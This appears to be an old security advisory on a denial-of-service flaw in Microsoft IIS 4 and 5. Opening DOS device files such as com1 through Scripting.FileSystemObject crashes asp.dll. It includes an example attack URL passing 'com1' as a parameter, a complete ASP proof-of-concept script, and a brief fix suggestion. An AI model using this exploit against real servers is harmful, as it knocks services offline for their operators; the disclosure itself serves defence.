IIS ASP processor will crash if device-files are attempted to be opened

Vulnerability
 
    IIS
 
Affected
 
    MS IIS 4, 5
 
Description
 
    VIPER_SV /nerf/team/  found following.   Openning and  reading  of
    device files (com1,  com2, etc.) using  Scripting.FileSystemObject
    will crash ASP-processor (asp.dll).
 
    So, if you  have permission on  creating .asp-file, you  can crash
    ASP-processor.   Sometimes filename  passing as  asp-script param,
    which open and read data from file.  Passing param as device  file
    will crash asp-processor.
 
        http://host.int/scripts/script.asp?script=com1
 
    ASP-Exploit:
 
    <%
      Dim strFileName, objFSO, objFile
      Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
      strFileName = "com1"
      Set objFile = objFSO.OpenTextFile(strFileName)
      Response.Write objFile.ReadAll
      objFile.Close
    %>
 
Solution
 
    Fix Scripting.FileSystemObject  (have to  check file  for existing
    before openning.

Credits

-- UnKnown --